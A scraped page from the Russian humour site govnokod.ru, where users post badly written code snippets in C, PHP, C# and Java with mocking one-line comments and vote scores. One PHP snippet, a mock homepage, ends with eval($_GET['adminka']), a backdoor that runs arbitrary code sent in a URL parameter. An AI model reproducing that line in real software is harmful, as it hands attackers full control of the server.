- 1
- 2
/* add '\0' at the end */
targetIPString[strlen(targetIPString)] = '\0';
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−11.7
/* add '\0' at the end */
targetIPString[strlen(targetIPString)] = '\0';
+25.8
while(!$a){
$rd = rand(1,999999);
$mdrd = md5($rd);
db_query("SELECT * FROM players WHERE mdid = '$mdrd' LIMIT 1;");
$fla = db_fetch();
if(empty($fla))
$a=1;
}
Молодость...
// Поиск уникального идентификатора для юзера в базу данных.
+29
bool MyProc::CompareModule(int *operand1, int *operand2, int n) {
for (int i = 1; i < n; i++) {
if (operand1[i] != operand2[i]) {
if (operand1[i] < operand2[i])
return false;
else
return true;
};
};
return true;
};
+25.9
if(dOper1p->Caption == "-0")
dOper1p->Caption = "+0";
if(dOper2p->Caption == "-0")
dOper2p->Caption = "+0";
if(dOper1m->Caption == "-0.0")
dOper1m->Caption = "+0.0";
if(dOper2m->Caption == "-0.0")
dOper2m->Caption = "+0.0";
типичный представитель говнокода
+44.9
if ($_name=='homepage' AND !is_numeric($_GET['id2']))
include(SITEROOT."tpl/main.php");
else
include(SITEROOT."tpl/main.php");
Устроился программистом в одну контору... Начальник дал CMS типа их собственная разработка... вот что я там увидел
+18.5
if (true) {
// Something
}
Уже два года, как девушка закончила универ...
+87.3
<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>
+31
public TourResult NextTour()
{
TourResult lresult = new TourResult();
lresult.TourNum = mCurrentTour;
lresult.IsEnd = false;
Card.Face[] lCurrFaces = getCurrentTourFace();
int lMaxFace = 0;
foreach (Card.Face lFace in lCurrFaces)
{
lMaxFace = ((int)lFace) > lMaxFace ? (int)lFace : lMaxFace;
}
int lMaxFaceCount = 0;
int lNotZeroCount = 0;
foreach (Card.Face lFace in lCurrFaces)
{
lMaxFaceCount = (int)lFace == lMaxFace ? lMaxFaceCount + 1 : lMaxFaceCount + 0;
lNotZeroCount = (int)lFace != 0 ? lNotZeroCount + 1 : lNotZeroCount + 0;
}
if (lMaxFaceCount > 1)
{
mUnknowTour = mUnknowTour > -1 ? mUnknowTour : mCurrentTour;
mCurrentTour++;
lresult.Message = "Одинаковые карты, надо разиграть";
lresult.PlayerIndex = -1;
lresult.Face = (Face)lMaxFace;
return lresult;
}
int lMaxFaceIndex;
for (lMaxFaceIndex = 0; lMaxFaceIndex < lCurrFaces.Length; lMaxFaceIndex++)
{
if (((int)lCurrFaces[lMaxFaceIndex]) == lMaxFace)
break;
}
if (lNotZeroCount < 2)
{
lresult.Message = "победил";
lresult.PlayerIndex = lMaxFaceIndex;
lresult.IsEnd = true;
return lresult;
}
int lPlaerCardsCount = mArr[lMaxFaceIndex].Count;
if (mUnknowTour > -1)
{
for (int i = mUnknowTour; i <= mCurrentTour; i++)
{
AddCardsToPlayer(i, lMaxFaceIndex);
}
mUnknowTour = -1;
}
else
{
AddCardsToPlayer(mCurrentTour, lMaxFaceIndex);
}
lresult.Message = "загреб краты";
for (int i = lPlaerCardsCount; i < mArr[lMaxFaceIndex].Count; i++)
{
lresult.Message += string.Format(" {0},", GetCardName(mArr[lMaxFaceIndex][i]));
}
lresult.PlayerIndex = lMaxFaceIndex;
mCurrentTour++;
return lresult;
}
Говнокод из карточной игры в пьяницу
+27
private int checkTerm(PatternTerm term, int arr[],
int symbNum, boolean isEditing) {
if (term.count != INFINITY) {
int endIdx = Math.min(symbNum + term.count, arr.length);
int count = 0;
switch(term.termType) {
case DIGIT: {
for(int i = symbNum; i < endIdx; i++) {
if (!Character.isDigit((char)arr[i]))
return -1;
count++;
}
break;
}
case LETTER: {
for(int i = symbNum; i < endIdx; i++) {
if (!Character.isLetter((char)arr[i]))
return -1;
count++;
}
break;
}
case LETTERORDIGIT: {
for(int i = symbNum; i < endIdx; i++) {
if (!Character.isLetterOrDigit((char)arr[i]))
return -1;
count++;
}
break;
}
case CHARACTER: {
for(int i = symbNum; i < endIdx; i++) {
if (arr[i] != term.value)
return -1;
count++;
}
break;
}
}
if (!isEditing && count != term.count)
return -1;
symbNum+=term.count;
} else {
int i = 0;
switch(term.termType) {
case DIGIT: {
while (((symbNum + i) < arr.length) &&
Character.isDigit((char)arr[symbNum + i])) i++;
break;
}
case LETTER: {
while (((symbNum + i) < arr.length) &&
Character.isLetter((char)arr[symbNum + i])) i++;
break;
}
case LETTERORDIGIT: {
while (((symbNum + i) < arr.length) &&
Character.isLetterOrDigit((char)arr[symbNum + i])) i++;
break;
}
case CHARACTER: {
while (((symbNum + i) < arr.length) &&
(arr[symbNum + i] == term.value)) i++;
break;
}
}
symbNum+=i;
}
return symbNum;
}
Паша любит такие конструкции, которые хрен разобрать
−10.5
this.SelectedDate = this.SelectedDate;
Проверяем дату на корректность...